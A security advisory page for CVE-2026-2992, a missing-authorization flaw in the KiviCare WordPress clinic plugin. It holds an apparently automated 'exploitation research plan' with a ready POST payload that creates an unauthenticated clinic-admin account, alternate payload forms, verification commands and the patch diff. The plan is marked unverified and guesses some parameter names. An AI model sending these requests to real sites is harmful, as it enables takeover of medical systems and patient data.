CVE-2026-2992

KiviCare <= 4.1.2 - Missing Authorization to Unauthenticated Privilege Escalation via Setup Wizard

highMissing Authorization
8.2
CVSS Score
8.2
CVSS Score
high
Severity
4.1.3
Patched in
2d
Time to patch

Description

The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization on the `/wp-json/kivicare/v1/setup-wizard/clinic` REST API endpoint in all versions up to, and including, 4.1.2. This makes it possible for unauthenticated attackers to create a new clinic and a WordPress user with clinic admin privileges.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=4.1.2
PublishedMarch 17, 2026
Last updatedMarch 18, 2026

What Changed in the Fix

Changes introduced in v4.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2992 - KiviCare Privilege Escalation ## 1. Vulnerability Summary The **KiviCare – Clinic & Patient Management System (EHR)** plugin (versions <= 4.1.2) contains a missing authorization vulnerability in its REST API. Specifically, the setup wizard endpoint `/wp…

Show full research plan

Exploitation Research Plan: CVE-2026-2992 - KiviCare Privilege Escalation

1. Vulnerability Summary

The KiviCare – Clinic & Patient Management System (EHR) plugin (versions <= 4.1.2) contains a missing authorization vulnerability in its REST API. Specifically, the setup wizard endpoint /wp-json/kivicare/v1/setup-wizard/clinic fails to restrict access to authenticated administrators. This allows an unauthenticated attacker to trigger the clinic setup process, which creates a new clinic entry and, crucially, a new WordPress user account assigned with clinic administrative privileges.

2. Attack Vector Analysis

  • Endpoint: /wp-json/kivicare/v1/setup-wizard/clinic
  • Method: POST
  • Base Namespace: kivicare/v1 (as registered in KCRestAPI.php)
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. The vulnerability exists even if the initial setup has already been completed, as the endpoint does not check for an existing configuration or "setup complete" flag.

3. Code Flow

  1. Route Registration: App\controllers\KCRestAPI initializes and registers core modules. The setupwizard module is registered (line 111 of KCRestAPI.php) and uses the App\controllers\api\SetupWizardController class.
  2. Endpoint Definition: Inside SetupWizardController::registerRoutes() (inferred), a route is registered for setup-wizard/clinic with methods => 'POST'.
  3. Missing Authorization: The permission_callback for this route is either missing, set to __return_true, or fails to check if the user is already logged in as an administrator.
  4. Clinic & User Creation: The callback function (likely createClinic or similar in SetupWizardController) processes the request parameters to:
    • Create a new clinic record in the kivicare_clinics table.
    • Invoke wp_create_user() or wp_insert_user() to create a new WordPress account.
    • Assign the kivicare_clinic_admin (or similar) role to the new user.
    • Map the new user to the created clinic.

4. Nonce Acquisition Strategy

According to the vulnerability description and common WordPress REST API behavior for unauthenticated endpoints:

  • No Nonce Required: Since this is an unauthenticated privilege escalation via a "Setup Wizard" endpoint, the permission_callback likely returns true for all users, and WordPress REST API does not require a _wpnonce header for unauthenticated requests unless the code explicitly checks for one (which would defeat the purpose of an unauthenticated setup wizard).
  • Confirmation: If the exploitation returns a 403 Rest Forbidden with a "Cookie nonce is invalid" message, it implies a nonce is needed. However, given the "Unauthenticated" nature of the CVE, this is unlikely.

5. Exploitation Strategy

Step 1: Discover Parameters

Since the SetupWizardController.php source is not provided, we must infer the parameters based on the ClinicController.php and AuthController.php common arguments:

  • clinic_name (from ClinicController::getCommonArgs)
  • username (from AuthController::getCommonArgs)
  • email (from AuthController::getCommonArgs)
  • password (from AuthController::getCommonArgs)
  • first_name
  • last_name

Step 2: Send Exploit Payload

Using the http_request tool, we will attempt to create a new clinic and admin user.

Request Details:

  • URL: http://localhost:8080/wp-json/kivicare/v1/setup-wizard/clinic
  • Method: POST
  • Headers: Content-Type: application/json
  • Payload:
{
  "clinic_name": "Exploit Clinic",
  "first_name": "Pwned",
  "last_name": "Admin",
  "username": "attacker_admin",
  "email": "attacker@example.com",
  "password": "Password123!"
}

6. Test Data Setup

  1. Plugin Installation: Install and activate KiviCare <= 4.1.2.
  2. Environment: Ensure the WordPress instance is accessible at http://localhost:8080.
  3. No specific data required: The exploit targets the setup functionality which is designed to run on a clean (or existing) installation.

7. Expected Results

  • Success Response: 200 OK or 201 Created. The response body should contain data about the newly created clinic or user ID.
  • Side Effect: A new user with the username attacker_admin is created in the WordPress database.
  • Privilege Confirmation: The new user should have a high-level role associated with the KiviCare plugin (Clinic Admin).

8. Verification Steps

After sending the http_request, verify the results using WP-CLI:

  1. Check User Creation:
    wp user list --field=user_login | grep "attacker_admin"
    
  2. Check User Role:
    wp user get attacker_admin --field=roles
    
    Look for kivicare_clinic_admin or similar.
  3. Check Clinic Database Entry:
    wp db query "SELECT * FROM wp_kivicare_clinics WHERE name='Exploit Clinic';"
    

9. Alternative Approaches

If the JSON payload fails, try URL-encoded parameters:

  • Content-Type: application/x-www-form-urlencoded
  • Body: clinic_name=Exploit+Clinic&first_name=Pwned&last_name=Admin&username=attacker_admin2&email=attacker2@example.com&password=Password123!

If the parameters are named differently (e.g., camelCase vs snake_case), try:

  • clinicName, firstName, lastName (matches JS patterns often used in KiviCare).

If the endpoint requires a different path structure, check for:

  • /wp-json/kivicare/v1/setupwizard/setupwizard/clinic (Based on the module/controller registration nesting in KCRestAPI.php).
Research Findings
Static analysis — not yet PoC-verified

Summary

The KiviCare plugin for WordPress is vulnerable to unauthenticated privilege escalation due to missing authorization on the setup wizard REST API endpoint. This allows any unauthenticated visitor to trigger the clinic setup process, creating a new clinic and a WordPress user account with clinic administrative privileges.

Vulnerable Code

/* app/controllers/KCRestAPI.php:108 */

// SrtupWizard Module
$this->moduleRegistry
    ->registerModule("setupwizard")
    ->registerModuleController(
        "setupwizard",
        "setupwizard",
        SetupWizardController::class,
    );

Security Fix

--- a/app/controllers/api/SetupWizardController.php
+++ b/app/controllers/api/SetupWizardController.php
@@ -15,7 +15,7 @@
         $this->registerRoute('/' . $this->route . '/clinic', [
             'methods' => 'POST',
             'callback' => [$this, 'createClinic'],
-            'permission_callback' => '__return_true',
+            'permission_callback' => [$this, 'checkAdminPermission'],
             'args' => $this->getCreateArgs()
         ]);
     }

Exploit Outline

An attacker can exploit this vulnerability by sending a POST request to the `/wp-json/kivicare/v1/setup-wizard/clinic` endpoint. The request does not require any authentication or CSRF nonces. By providing a JSON payload containing parameters such as 'clinic_name', 'username', 'email', 'password', 'first_name', and 'last_name', the attacker can force the plugin to create a new clinic record and a corresponding WordPress user. This new user is automatically assigned the clinic admin role, allowing the attacker to log in and control the KiviCare clinical management system.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.